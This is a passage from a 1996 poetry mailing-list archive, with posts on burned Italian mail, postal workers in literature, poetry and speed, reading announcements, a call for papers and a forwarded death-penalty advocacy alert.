just a note to say that though i don't recall the person's name either (male and from "down under" is all i recall, and not wystan or tony), i feel a glow of pleasure at this possibility, and i like it that this list enabled a (potential) publication of poems know one on the list knows (but cd be important to someone), in a publication that (probably) no one on the list knows (but cd be important to someone). md

↑ Index

23. Daniel Bouchard
Mail >> FWD
Mon 5 Aug 1996

I am forwarding this inquiry at the request of a friend.

_____
LMAAA09046664090; Mon, 5 Aug 1996 12:30:18 -0400

I was wondering if you could do me a favor & post this to that Poem Chat List that you frequent, & see if anyone could provide me with a bit more information on this. (As per your suggestion, I've been considering actually signing ON to that list; but I am not sure that I could get it here in Italy? & anyway, who wants 100 pieces of email every day? I much prefer just 'hearing' about it from you).

Well, on to my question. While in Rome recently, I caught wind of a wonderful piece by Mr. H. Gould that appeared back in the States in something that has been refed to as A POX OF THEM. Apparently it is a perfect example of what the Geist has to say. This is a wonderful question really, What in deed does the Geist say? Can anyone enlighten me as to what a.) The Geist says? & b.) What Henry has said it says, if you feel that a. & b. are substantially different?

{An email document of the text might suffice, but I doubt that a hard copy would ever make it to me--has anyone out there ever tried to GO to the Post-Office in Italy?}

Many thanks. Yours,

T.Door

↑ Index

24. **henry**
Re: Mail >> FWD
Mon 5 Aug 1996

molte grazie, Gale! I'm either the toast of or getting roasted in Rome, I guess.

p.s. while I've got you online, I'd be molte grateful for any word of mouth you can provide for the Anderson/Waldrop reading on Aug 15th at Native Gallery (8 pm). Maybe see you there? Thanks - Henry

↑ Index

25. **Tony Green**
Italian post
Mon 5 Aug 1996

Re Italy and Post Office: best I heard was in 70's from a friend who had lived in Italy for a while, Eileen Maitland. The gist was that the backlog of undelivered mail got so big that three weeks worth was incinerated by the P.O. so it cd make a fresh start. How "true" this story is I do not know.

Tony Green,
e-mail: [redacted]

↑ Index

26. **henry**
sorry gang
Mon 5 Aug 1996

sorry gang for private post to the list. I'm going back to wooden typewriters & outhouses & doghouses where I belong... - HG

↑ Index

27. **David Baratier**
mail fwd
Mon 5 Aug 1996

Well, on to my question. While in Rome recently, I caught wind of a wonderful piece by Mr. H. Gould that appeared back in the States in some-thing that has been refed to as A POX OF THEM. Apparently it is a perfect example of what the Geist has to say. This is a wonderful question really, What in deed does the Geist say? Can anyone enlighten me as to what a.)

The Geist says? & b.) What Henry has said it says, if you feel that a. & b. are substantially different?

A.) The geist windbags hardly anything as it is a verb: gesprungen, that is to jump in the past. B.) Henry, following Hopkin's ruse, has made you believe in its plausibility, therefore: Just don't call it late for dinner. Or to re-phrase Pound in a pleasing manner, pilaster and perish!

It's difference is well documented in music, say the differrance between gavotte and goucherie (or cf Yeats _A Vision_ page 117).

Be well

David Baratier

↑ Index

28. George Bowering
Re: Italian post
Mon 5 Aug 1996

> *Re Italy and Post Office: best I heard was in 70's from a friend who had lived in Italy for a while, Eileen Maitland. The gist was that the backlog of*
> *undelivered mail got so big that three weeks worth was incinerated by the P.O. so it cd make a fresh start. How "true" this story is I do not know.*
>
> *Tony Green,*

While in Italy in the Fall of 1977, I saw television coverage of this event (though I dont know whether this happened often). They showed a bulldozer-like machine pushing mounds of mail into the flames.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"a workingman shd/ be alone
with his mind,
whatever that is ."

--Paul Blackburn

↑ Index

29. Kevin Killian
August Events at Small Press Traffic
Tue 6 Aug 1996

Small Press Traffic presents:

Friday, August 9, 7:30 p.m.
at the New College Cultural Center
766 Valencia Street, SF
$5

Mary Burger
Jordan Davis
Robert Hale

Thursday, August 29, 7:30 p.m.
at the New College Theater
777 Valencia Street, SF
$5

Gertrude Stein, Jewish Social Scientists and the ŒJewish Question[1] a talk by Maria Damon

[3]Gertrude Stein, Jewish Social Scientists and the ŒJewish Question[12] will place Stein in dialogue with various Jewish social scientists (Maurice Fishberg, Otto Weininger, Sigmund Freud, Melville Herskovits) who wanted to participate in the social scientific discourse of their time but also had concerns about how, as Jews, to negotiate the anti-Semitism of much of that social science.

↑ Index

30. Ron Silliman
Mail
Tue 6 Aug 1996

When I worked in the U.S. Postal Service (1967-8) the rule of thumb was that the mail had to be delivered only so that there would be room to store the new mail.

Sincerely,

A disgruntled formal postal employee

↑ Index

31. Christina Fairbank Chirot
disgruntled postal workers, dead mail & Bartleby
Tue 6 Aug 1996

I was living in Arles, France in May '68. There was no Postes-Telegraphes-Telephones. A dog show drew huge crowds and the Communists attempted to distribute truckloads of free potatoes--which the Gypsies stole. There was so much going on no one missed the mail.

Re disgruntled former postal employees and buried mail, there's Melville's Bartleby the Scrivener, from which this:

The report was this: that Bartleby had been a subordinate clerk in the Dead Letter Office in Washington, from which he had been suddenly removed by a change in the administration. When I think over this rumor, hardly can I express the emotions which seize me. Dead letters! does it not sound like dead men? Conceive a man by nature and misfortune prone to a pallid hopelessness, can any business seem more fitted to heighten it than that of continually handling these dead letters, and assorting them for the flames? . . . On errands of life, these letters speed to death. Ah, Bartleby! Ah, humanity!

--dave baptiste chirot

↑ Index

32. filch

* Hi, I am syntactically correct markup! *

Tue 6 Aug 1996

Hi, I am syntactically correct markup!

↑ Index

33. Rachel Loden

Re: disgruntled postal workers, dead mail & Creeley

Tue 6 Aug 1996

And don't forget:

They are taking all my letters, and they
put them into a fire.

I see the flames, etc.
But do not care, etc.

They burn everything I have, or what little
I have. I don't care, etc. ...

from THE DISHONEST MAILMEN

by Robert Creeley (in _For Love_)

↑ Index

34. Kevin Killian

Re: disgruntled postal workers, dead mail & Bartleby

Tue 6 Aug 1996

This is Dodie Bellamy.

US fiction re the post office:

From the Eudora manual, Version 1.5:

"When I was looking for a name for my new Post Office Protocol mail program, I thought immediately of the title of a short story I¹d read years before: 'Why I Live at the P.O.' So I named the program after the author of the story, Eudora Welty.

"'Why I Live at the P.O.' can be found in a collection titled A Curtain of Green (Harcourt Brace Jovanovich). I highly recommend reading it, and anything else you can find by Ms. Welty. Her stories are funny, sad, and fascinating; she¹s surely one of the great American writers."

‹ Steve Dorner

↑ Index

35. Christina Fairbank Chirot

Hiroshima & Shadows

Tue 6 Aug 1996

Re Melville's "Dead letters! does it not sound like dead men?"

Today is the anniversary of Hiroshima nuclear holocaust. To participate in International Shadows Project in memorium of Hiroshima and Nagasaki, contact Jukka Lehmus' Cyanobacteria Page at Grist On-Line http://www.thing.net./~grist. Catalogues of previous Projects available from Karl Young's Light and Dust Page at same URL, as is Young's poem Three, Hiroshima which uses English equivalents of words from Flaubert's Trois Contes and Resnais' film Hiroshima Mon Amour.

Participation in hopes to change Melville's lines "On errands of life, these letters speed to death".

the river vanishes/clusters of petrified promises/carpeted with flowers/wild iris/tortured iron/dawn watches/noon waits/sunset makes promises/bells ring in darkness/the temperature of warm oceans

--from Three, Hiroshima by Karl Young

--db chirot

↑ Index

36. Tony Green
Re: Italian post
Tue 6 Aug 1996

Excellent, George. Good to have what Eileen said confirmed. It was "true": you saw it on TV. I have no head for dates, but I thought she told me this in 1976. Either it happened more than once, or my memory is wrong. Think: no phone or power bills etc: social chaos. "People want delivery".

Tony Green,
e-mail: [redacted]

↑ Index

37. MAXINE CHERNOFF
Re: Hiroshima & Shadows
Tue 6 Aug 1996

Many years ago when I was a younger poet (and not yet fiction writer), I wrote a prose poem on the subject of the dead letter office. Text follows:
Wistfulness covers the windows like drapes. Ten men, armed with hankies, sort the mail into two categories, letters that make them happy, letters that make them sad. Don't get me wrong. These civil servants, trusted with the awesome duty of burning millions of letters a year, do not open the envelopes like a mortician prying into the life of a client. It isthe envelope itself that makes them sad. Childish handwriting scrawled to a deceased aunt makes them weep. A letter from overseas to a wife who has moved, unknown to her husband, creates such tumult that the walls quiver like jelly. Few letters are happy ones, the eviction notice never delivered, the lost bill. But when a happy letter comes into their possession, it's a red letter day. The men cheer wildly, tear up letters and toss them out of the window, tickertape fashion. ANd what bliss when something intervenes and a doomed letter, like a terminally ill patient, is saved.

Maxine Chernoff

On Tue, 6 Aug 1996, Christina Fairbank Chirot wrote:

> *Re Melville's "Dead letters! does it not sound like dead men?"*
>
> *Today is the anniversary of Hiroshima nuclear holocaust.*
> *To particpate in International Shadows Project in memorium of Hiroshima and Nagasaki, contact Jukka Lehmus' Cyanobacteria Page at Grist On-Line http://www.thing.net./~grist. Catalogues of previous Projects available from Karl Young's Light and Dust Page at same URL, as is Young's poem Three, Hiroshima which uses English equivalents of words from Flaubert's Trois Contes and Resnais' film Hiroshima Mon Amour.*

> *Participation in hopes to change Melville's lines "On errands of life, these letters speed to death".*
>
> *the river vanishes/clusters of petrified promises/carpeted with flowers/wild iris/tortured iron/dawn watches/noon waits/sunset makes promises/bells ring in darkness/the temperature of warm oceans*
>
> *--from Three, Hiroshima by Karl Young*
>
> *--db chirot*

↑ Index

38. George Bowering

Re: disgruntled postal workers, dead mail & Bartleby

Tue 6 Aug 1996

My favourite US fiction re the post office isnt _Bartleby_ and it isnt "Why I lIve at the PO" (tho the latter is the source of the name of the e-mail system I am using right now). It is Richard Wright's _Lawd Today_.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"a workingman shd/ be alone
with his mind,
whatever that is ."

--Paul Blackburn

↑ Index

39. Christina Fairbank Chirot

disgruntled postal workers

Tue 6 Aug 1996

Re postal workers, memorials, unions--and dreams:

An interesting book concerning postal workers and the male:

Charles Olson's The Post Office A memoir of his Father (Grey Fox Press, available at SPD and Woodland Pattern) which concerns Olson pere's efforts on behalf of the mail carriers' union. These efforts were much hampered, leading to the senior Olson's loss of joy in life and early death according to his son, who also worked as a mail carrier during summers off from school.

The story of the father linked significantly to the "Pilgrim fathers":

. . . the trouble out of which his death came was born fourteen years earlier . . . . I can date it that exactly because it was his determination to take me to the celebration at Plymouth of the 300th anniversary of the Pilgrim landing that aggravated the situation his superiors at the Post Office had provoked.

The dreams of postal workers--the dream castle built in France by postman in his spare time . . .

. . . the mail/male and analysis: The Purloined Letter & its Lacanian readings . . .

--and Elvis: "Return to Sender"

--db chirot

↑ Index

40. George Bowering
Re: Italian post
Wed 7 Aug 1996

Yeah, I am looking at my backlog of e-mail and wondering whether I can remember how to drive a bulldozer.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"a workingman shd/ be alone
with his mind,
whatever that is ."

--Paul Blackburn

↑ Index

41. George Bowering
Re: disgruntled postal workers
Wed 7 Aug 1996

Couple of years ago Bruce Serafin published a wonderful narrative about working in the post office, in _Vancouver Review_.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"a workingman shd/ be alone
with his mind,
whatever that is ."

--Paul Blackburn

↑ Index

42. Bob Holman

Re: POETICS Digest - 4 Aug 1996 to 5 Aug 1996

Wed 7 Aug 1996

While I attempt to confine Slam poetry -- Hannah Weiner and Doug Oliver, among others, have won Slams at the Nuyorican -- I send along my own experience with...

The Italian Postal System

First all the envelopes are dipped.
For this purpose, giant scald cauldrons
Are used, the very ones that Caesar Augustus
Had ordered brought from Egypt for use as boneboilers
By the Capuchin monks. During the Dip
A strike probably occurs. The vats
Are then generally purged by all passing caribinieri
Whose uzis have been recently lost, but if not,
The steam, which has been clinging to the ever-
Changing ceiling frescoes, is revaporized
And thereafter recondensed several times by means
Of centrifugal coolants, with diffrent centrifugal coolant
Manufacturers employed in the North, Central
And Southern Postal Universes. This process quite often replicates
The original addresses directly upon the appropriate
"Lost While In Transit" cards. Thus ends the Dip.

The donkeys are led out, and attached to the carts,
Each bearing the Postal Code Numbers, or, for International,
A System of Carrots, the sizes and expressive shapes
Of which have all been translated into a Code of the
World's Regions. Complex to the casual viewer, one
Italian family has been arranging these carrots
For centuries, and the Annual Festival of the Carrots,
Held in Gubbio but celebrated throughout Italy,
Is cause for great festivities throughout
The Postal System, and any letters in the carrot-id'ed
Carts during this period (usually the month of July,
But sometimes extending into August or even September)
Are treated like good friends and are never allowed
To leave. Many other elements, remnants of previous Postal
Systems, abound, with meanings lost in time but which

Still provide glimmers of the ancient ways, and for many
Are, indeed, a palimpsest of life itself. That
The whole actually functions, and that one can,
By placing one's tongue directly on the tiny wafer-
Like stamp, actually participate in this oldest
Of rituals, is a miracle open to everyone.
Bob Holman

↑ Index

43. Jordan Davis
postal reclassification seminars
Wed 7 Aug 1996

You may be interested to know god my fingers are cold that each piece of mail that a postal ocr cannot process is looked at by a video camera, which transmission is sent to god california is cold! a video optical character center in west virginia or montana or arizona. if after a minute the minimum wage typist can't read your red fancy ink zip (not plus four) then someone at the station you dropped the piece picks it up says,, mmm wonder where this goes.

BARCODE!

Love,
Your poetics grump,
Jordan

Jordan Davis
46 e 7 #10
nyc 10003 I believe
[redacted] Spumoni $1.00

↑ Index

44. wystan
poetry and speed
Wed 7 Aug 1996

---

dear list, I know its summer for most of you all, but its peak season down here and i've been asked to think about poetry and speed --not that which you are on but what you are at. I wondered about developing 20 or so propositions before putting out this APB but then speed IS of the essence and why wait? So while I work at those I'd be grateful for any tips, pointers, theories, multi-volume treatises you can put my way,very grateful. yours in haste,
wystan

↑ Index

45. Christina Fairbank Chirot
re poetry & speed
Wed 7 Aug 1996

A Crash Course in Poetry & Speed//Speed Reading

Emerson's The Poet: Language is vehicular
Pound's ABC of Reading: Keeping the language efficient
WCWilliams' Intro to The Wedge: Poem as machine
Olson's Projectivist Verse: FASTER FASTER FASTER

Yet--slow down reading by their methods of notation, use of space of page, types of markings, spacings--ideograms, documents, heiroglyphs--

Speed of poetry vs. speed reading

Kerouac: Writing is silent meditation going a hundred miles an hour.

Kerouac, from Vanity of Duluoz:

(Insofar as nobody loves my dashes anyway, I'll use regular punctuation for the new illiterate generation.)

Virilio in Pure War says there should be a Museum of Accidents, Collisions

speed of poetry in relation to state and property (Pound & Emerson's Land-lord, air-lord sea-lord poet--Marinetti's parole in liberta and Fascist state--
speed of poetry & the local: wcw & Olson
kerouac's speed: memory and sound--sketching
is speed "immediacy and force" (Eigner) or eidetic?
speed in relation to words as things

"Poetry in motion"

↑ Index

46. Pierre Joris
Re: poetry and speed
Wed 7 Aug 1996

On Wed, 7 Aug 1996, wystan wrote:

> dear list,
> I know its summer for most of you all, but its peak season down
> here and i've been asked to think about poetry and speed --not that
> which you are on but what you are at. I wondered about developing 20 or
> so propositions before putting out this APB but then speed IS of the
> essence and why wait? So while I work at those I'd be grateful for any
> tips, pointers, theories, multi-volume treatises you can put my way,very

> grateful.
> yours in haste,
> wystan
>

not too fast, wystan... remember Ed Dorn's line from _Slinger_:

"Speed is not necessarily fast"

(SLINGER in fact is interesting in relation to speed)

on a slow hazy morning in Albany,

Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

47. hen

Re: poetry and speed

Wed 7 Aug 1996

speed response: first thing I think of when you say "poetry & speed" is "Cape Hatteras" section of H. Crane's _The Bridge_. [You.are.reading. a.programmed.reply.Neuron.receptor.wired.to.hard.disk.for.intellect. enhancement.-Do.not.reply.to.this.robot.] - H. Gould

↑ Index

48. maria damon

Re: re poetry & speed

Wed 7 Aug 1996

paul virilio

and nietzsche on "tempo" --fn was one of the first to compose on the typewriter, along w/ mark twain.

↑ Index

49. Burt Kimmelman
Re: poetry and speed
Wed 7 Aug 1996

Marinetti et al.?
Projective Verse
's INSTANTER?

↑ Index

50. Burt Kimmelman
Calls for papers; history of text
Wed 7 Aug 1996

From: MX%"[redacted]" 6-AUG-1996 22:40:33.47
To: MX%"[redacted]"
CC:
Subj: SHARP Conference and Journal

Date: Tue, 6 Aug 1996 22:37:10 -0400
From: Jonathan Rose <[redacted]>
Subject: SHARP Conference and Journal
To: Multiple recipients of list SHARP-L <[redacted]>

Date: 06-Aug-1996 10:09pm EST
From: Rose, Jonathan
JEROSE
Dept: FAC/STAFF
Tel No: [redacted]

TO: Press SH to view recipients.

Subject: SHARP Conference and Journal

CALL FOR PAPERS AND CONTRIBUTORS

The Society for the History of Authorship, Reading and Publishing solicits proposals for its fifth annual conference and contributions for its new scholarly journal, *Book History*.

SHARP will meet 4-7 July 1997 at the University of Cambridge. We welcome proposals for papers dealing with the creation, diffusion, or reception of script or print in any historical period. There are no limitations on topics. Proposals for either individual papers (20 minutes in length) or full panels (comprising a chair and three papers) may be submitted. We may also sponsor workshops devoted to shorter, more informal presentations of works in progress.

Proposals (one page maximum per paper) and inquiries about the conference itself (including requests for advance booking forms) should be sent to:

James Raven
SHARP Conference Programme Committee
51 Sherlock Close
Cambridge CB3 0HP
United Kingdom

The absolute deadline for receipt of proposals is 20 November 1996. Four travel grants of $250 each will be offered to graduate students who present papers at the conference: to apply, simply indicate in your cover letter that you wish to be considered for this award. All other participants and presenters will be expected to pay their own expenses, including the registration fee; so please submit proposals only if you can arrange for your own funding.

SHARP is also launching a new juried scholarly journal, *Book History*. It will be a hardcover annual edited by Ezra Greenspan and Jonathan Rose, and published by Penn State Press.

Book History is devoted to every aspect of the history of the book, broadly defined as the history of the creation, dissemination, and reception of script and print. It will publish research on the social, economic, and cultural history of authorship, editing, printing, the book arts, publishing, the book trade, periodicals, newspapers, ephemera, copyright, censorship, literary agents, libraries, literary criticism, canon formation, literacy, literary education, reading habits, and reader response. *Book History* will be published in English, but it welcomes articles dealing with any national literature. Publication of the first issue is scheduled for August 1998.

Articles dealing with any part of the American hemisphere or the Middle East should be submitted to Prof. Ezra Greenspan, Department of English, University of South Carolina, Columbia, SC 29208, USA, [redacted]. Articles dealing with other parts of the world should be submitted to Prof. Jonathan Rose, Department of History, Drew University, Madison, NJ 07940, USA, [redacted]. Send one hard copy and a WordPerfect diskette for each article.

To obtain information on joining SHARP and subscribing to SHARP publications -- or to request a free sample copy of the SHARP newsletter -- contact the Membership Secretary, Dr. Linda Connors, Drew University Library, Madison, NJ 07940, USA, [redacted].

[Other lists and print publications please copy]

↑ Index

51. Pierre Joris
query
Wed 7 Aug 1996

Would anybody have the address or know the whereabouts of the translator Eric Selland -- or have an address for Leech Books -=- thanks -- Pierre (backchannel's best)

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

52. Burt Kimmelman
jeffrey peterson
Wed 7 Aug 1996

jeffrey,

are you out there? rsvp backchannel--i have some oppen chit-chat to share.

burt

↑ Index

53. Charles Alexander
changing
Wed 7 Aug 1996

back in minneapolis for two weeks before moving to tucson

but also changing computer & modem, so just in case this is the last message i can get out, I will give details on address change.

for mail arriving by august 16, 1996:

chax press (and/or charles alexander)
box 19178
minneapolis, mn 55419-0178

for mail arriving after august 16, 1996:

chax press (and/or charles alexander)
box 848
tucson, az 85701-0848

If there's a doubt as to when the mail will arrive, please send to the tucson address, as that box is open even now, although no one will be there to pick up that mail until after august 16.

thank you,

charles alexander
chax press

↑ Index

54. Tony Green
Re: poetry and speed
Wed 7 Aug 1996

Hi, Wystan, do you mean maxims like : "Get it down real quick, before you forget it, or before you get waylaid by self-censorship". That kind of speed? It would be speedier to phone you, but yr question is in this public space, so I'll do it the slow way. See you at the A.C.A.G. lunch-time. Best

Tony Green,
e-mail: [redacted]

↑ Index

55. Tony Green
Charred Italian leaves
Wed 7 Aug 1996

Hey Signor Postino look and see / if there's a lettera there for me...

Tony Green,
e-mail: [redacted]

↑ Index

56. George Bowering
Re: poetry and speed
Wed 7 Aug 1996

Well, yeah, I remember the Ed Dorn quip. But remember, Yogi Berra said "It's getting late early."

George Bowering. "a workingman shd/ be alone

2499 West 37th Ave., with his mind,
Vancouver, B.C.,
Canada V6M 1P4 whatever that is ."

fax: [redacted]
e-mail: [redacted] --Paul Blackburn

↑ Index

57. George Bowering

Re: poetry and speed

Wed 7 Aug 1996

> *Projective Verse*
> *'s INSTANTER?*

Oh!
I always thought that was "instant er" as in "immediate uh"

George Bowering. "a workingman shd/ be alone

2499 West 37th Ave., with his mind,
Vancouver, B.C.,
Canada V6M 1P4 whatever that is ."

fax: [redacted]
e-mail: [redacted] --Paul Blackburn

↑ Index

58. Gabrielle Welford

Re: South African Boy Faces Death Row in Mississippi (fwd)

Wed 7 Aug 1996

I couldn't find out more about this. Does anyone else know anything? gab.

---------- Forwarded message ----------
Resent-From: Anthony Alessandrini <[redacted]>
Joedeu-Forgey Elisa Von wrote:
From: [redacted] (Joedeu-Forgey Elisa Von)
> From: "Elaine Salo, Anthro Grad Student" <[redacted]>

> *This from the National Coalition against the Death Penalty, located*
> *in Washington DC*
> *elaine salo*
>
> *NCADP "STOP KILLING KIDS!" ALERT:*
>
> *INTERNATIONAL ACTION NEEDED TO KEEP S.AFRICAN BOY OFF OF DEATH ROW*

PLEASE ACT NOW.

PLEASE FORWARD.

CASE BRIEF:

After surviving some of Apartheid's most turbulent years, a South African child faces the death penalty in Mississippi for a crime in which he was little more than a bystander.

Azikiwe Kambule came to the United States two years ago with his mother. Azi had no trouble adjusting academically; he received excellent grades, was placed in honors classes and joined the school choir. Yet, Azi found himself under immense social pressure -- he didn't look, speak or dress like other children in his neighborhood.

Azi wanted to "fit in" with his peers, and not be the subject of their ridicule. He met and started spending time with youth who were older and very street-wise. When Azi's grades began to drop, his parents began to worry that his new friends were the wrong crowd. Fearing the worst, they decided to scrape together the funds to send Azi to a boarding school. Tragically, it was already too late.

One evening, Azi found himself in the middle of a car-jacking in which a young African American woman was killed. Azi himself was so far away from the crime scene that he did not hear the gunshots. When arrested, he was the only one to cooperate with the police. He fully explained the terrible series of events and tried repeatedly to help the authorities in their investigation.

Despite having no criminal record, no history of violence, being merely a bystander and providing his full cooperation, Azi has been charged as an accomplice to capital murder. Mississippi is seeking the death penalty against Azi, a child in the tenth grade.

The situation in which Azi finds himself speaks volumes about the use of the death penalty against children. During this decade, only five nations in the world are known to have executed persons for crimes they committed when under 18-years-old. Those countries are Iran, Pakistan, Yemen, Saudi Arabia . . . and the United States. Of these five, America has executed the most. A condemned child in the United States also tends to be of darker hue -- 66% of those persons sentenced to death as children have been from racial minorities. And nowhere is the international rule of law more clear than the prohibition on the use of the death penalty against children. The International Covenant on Civil and Political Rights, which the United States has ratified, clearly states that the "sentence of death shall not be imposed for crimes committed by persons below the age of eighteen." Indeed, every major human rights treaty in the world has the same express wording.

Azi sits today in a Mississippi jail cell, with his life hanging in the balance. The District Attorney wishes to seal Azi's fate, and is quoted in the local newspaper as saying that because the "jurors in [predominantly black] Hinds County have a reputation for refusing to vote for the death

penalty," he moved Azi's trial to a predominantly white county where the outcome would be more certain, if not predictable.

Azi is a child who has suffered from human rights abuses throughout his brief life -- first in South Africa, and now in the United States. Yet, the errors in his childhood should not prove fatal. He deserves our passion-- not poison. Please join the National Coalition to Abolish the Death Penalty in our efforts to save Azi's life.

4 THINGS YOU CAN DO RIGHT NOW TO HELP SAVE AZI:

1) FORWARD THIS MESSAGE TO ALL OF YOUR FRIENDS AND PRESS CONTACTS

2) WRITE THE D.A.:
---Azi is a South African child who has no history of violence or prior run-ins with the law; was so far away from the murder that he did not even hear the gun shots; and has fully cooperated with the police.

There is no reason why DA Kitchens should be seeking to kill him or put him behind bars for the rest of his life!
-----JAMES KITCHENS, ESQ. / MADISON COUNTY DISTRICT ATTORNEY/P.O. BOX 121/
CANTON, MS 39046/ [redacted]-fax /[redacted]-phone.

3)MAKE YOUR VOICE HEARD:
Please contact the following news organizations:
--Clarion-Ledger Newspaper
[redacted]

--WLBT T.V. News
[redacted]

--Jackson Advocate Newspaper (Black owned &operated)
300 N.Farish Street
Jackson,MS 39202
[redacted]*--fax*

IF YOU WOULD LIKE MORE INFORMATION OR ARE INTERESTED IN HELPING TO RAISE
MONEY FOR AZI'S DEFENSE PLEASE CONTACT THE NCADP AT "[redacted]*" or* [redacted]*, ext.5*

NOTE: The National Coalition to Abolish the Death Penalty (NCADP) was founded in 1976. Our affiliates include several large civil rights, religious and political organizations, and over 100 state and local anti-death penalty groups. We are located at 918 F.Street, NW Washington, DC 20024. Our phone number is [redacted]*. Our e-mail address in "*[redacted]*."*

↑ Index

59. **Gwyn McVay**
Polish children's song
Wed 7 Aug 1996

OK, here's one really obscure/abstruse for y'all: I need help tracking down a children's song in Polish which is about crows and begins with the refrain "Caw, caw, caw," although without any Ginsbergian "Lord Lord Lord" in it. I swear this is for a poem. Please help a fellow Polack who married Irish.

Gwyn McVay
no, that doesn't mean green champagne

↑ Index

60. **Rod Smith**
Re: POETICS Digest - 4 Aug 1996 to 5 Aug 1996
Wed 7 Aug 1996

>Hannah Weiner and Doug Oliver,
among others, have won Slams at the Nuyorican

Bob,
when did Hannah read at the Nuyorican?

--Rod

↑ Index

61. **george hartley**
Re: re poetry & speed
Thu 8 Aug 1996

Christina Fairbank's
>
> "Poetry in motion"

the Indigo Girls? on this list at last!
the speed of cultural transmission (Virginia Woolf, Galileo)
the speed of light in the poetry of the stars at night

↑ Index

62. Kevin Killian
Yet another SF reading
Thu 8 Aug 1996

Idiom Presents

a reading with

Dodie Bellamy and Alicia Wing

Tuesday, August 13, 7:30 p.m.

at Four Walls Gallery
3160A 16th Street (entrance on Albion)

↑ Index

63. Henry Gould
Upcoming reading (Rhode Island)
Thu 8 Aug 1996

For anyone in the Rhode Island area: on Thursday, August 15th at 8 pm Beth Anderson & Keith Waldrop will be reading at Native Gallery, 387 Charles St, Providence. The current five-artist exhibit will also be open.

Native Gallery is a large new space just beyond the Prov. Main Post Office, in a former factory complex across from the entrance to Rt 146. For more info or directions, call the gallery at [redacted], or email me at [redacted].

Reading sponsored by the Poetry Mission, first of a series at the gallery in conjunction with new shows. Next reading will be Fri. Sept 6th and will feature RI poets Sylvia Moubayed & Stuart Blazer.

↑ Index

64. maria damon
Re: POETICS Digest - 4 Aug 1996 to 5 Aug 1996
Thu 8 Aug 1996

In message <[redacted]> UB Poetics discussion
group writes:
> >Hannah Weiner and Doug Oliver,
> among others, have won Slams at the Nuyorican
>
> Bob,
> when did Hannah read at the Nuyorican?
>
> --Rod

yeah, i wanna know about this too. what did she read, and what 's her reading like in general?--md

↑ Index

65. Christina Fairbank Chirot
Re: re poetry & speed
Thu 8 Aug 1996

On Thu, 8 Aug 1996, george hartley wrote:

> Christina Fairbank's
> >
> > "Poetry in motion"
>
> the Indigo Girls? on this list at last!
> the speed of cultural transmission (Virginia Woolf, Galileo)
> the speed of light in the poetry of the stars at night
>
Thank you, George, but credit for those poetry & speed posts goes to
David Baptiste Chirot who is logged into POETICS via my address -

↑ Index

66. Michael Leddy
disgruntled postal workers
Thu 8 Aug 1996

Re Italian postal service: In their essay "Social Time: The Heartbeat of Culture," Robert Levine and Ellen Wolff report an average time of 47 seconds to sell a single stamp in Rome and Florence. (I came across this essay in a freshman comp anthology.)

And re disgruntled postal workers and lit--as of y'day's log, no one had yet mentioned Charles Bukowski's novel _Post Office_.

Michael Leddy / Charleston, IL

↑ Index

67. George Bowering
Re: re poetry & speed
Thu 8 Aug 1996

---

who are the Indigo Girls, and in what way are they fast?

George Bowering. "a workingman shd/ be alone

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

with his mind,

whatever that is ."

--Paul Blackburn

↑ Index

68. Robert Drake
Re: clear-cut
Thu 8 Aug 1996

herb announced the pending release of *clear-cut*, an anthology of seattle-area poets, and mentioned that a website version would also be forthcoming... it is now up, & is worth a visit:

http://www.speakeasy.org/clear-cut/

lbd

↑ Index

69. wystan
Speed
Fri 9 Aug 1996

Dear list, this is good. Speed, poets, it not only a matter of rush rush rush though. Vorticists are fast, projectivists are fast. What IS the hurry? What about slow? Is slow also a value? I think I would like someone to put in a good word for slow. Fast poems, slow readings? Does poetry speed up or slow down relative to the culture? TV and movies have been getting faster over the years and what does that have to do with it? There's some question of the general economy also. What thoughts do you have on this tonight, good list people? I am at my post. wystan

↑ Index

70. Christina Fairbank Chirot
Re: re poetry & speed (fwd)
Fri 9 Aug 1996

---------- Forwarded message ---------- Date: Thu, 8 Aug 1996 18:00:33 -0500 (CDT) From: Christina Fairbank Chirot <[redacted]> To: UB Poetics discussion group <[redacted]> Cc: Multiple recipients of list POETICS <[redacted]> Subject: Re: re poetry & speed

On Thu, 8 Aug 1996, george hartley wrote:

> Christina Fairbank's
> >
> > "Poetry in motion"
>
> the Indigo Girls? on this list at last!
> the speed of cultural transmission (Virginia Woolf, Galileo)
> the speed of light in the poetry of the stars at night
>
Thank you, George, but credit for those poetry & speed posts goes to
David Baptiste Chirot who is logged into POETICS via my address -

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71. Kevin Killian
Conventional Wisdom
Fri 9 Aug 1996

This is Dodie Bellamy. Kevin and I will be correspondants for the Conventional Wisdom webpage, a conceptual art project designed by Margaret Crane and Jon Winet. Following is a call for submissions for the "From Our Viewers" section of the site.

> *We are writing to see if you'd be interested in being part of the project we're working on during the Republican and Democratic Conventions. It's a website - Conventional Wisdom - that will be published in real time during the festivities*
>
> *The site resembles a newspaper front page and will contain a changing series of images from the conventions and writing from around the country. We'd like to invite you contribute to the "From Our Viewers" section of the site. This area will contain a series of short comments, insights and reactions to the conventions (and the surrounding political and social climate).*
>
> *The site will be running during August 12-15 for the Republican National Convention in San Diego and August 26-28 for the Democratic National Convention in Chicago. We welcome your contributions during that time.*
>
> *Comments can be sent directly to the site via email. Please post to:*
> [redacted]
> *indicate "Comments" in the subject area.*
>
> *The URL/address for the site is:*
> *http://www.pair.xerox.com/cw*
>
> *FYI:*

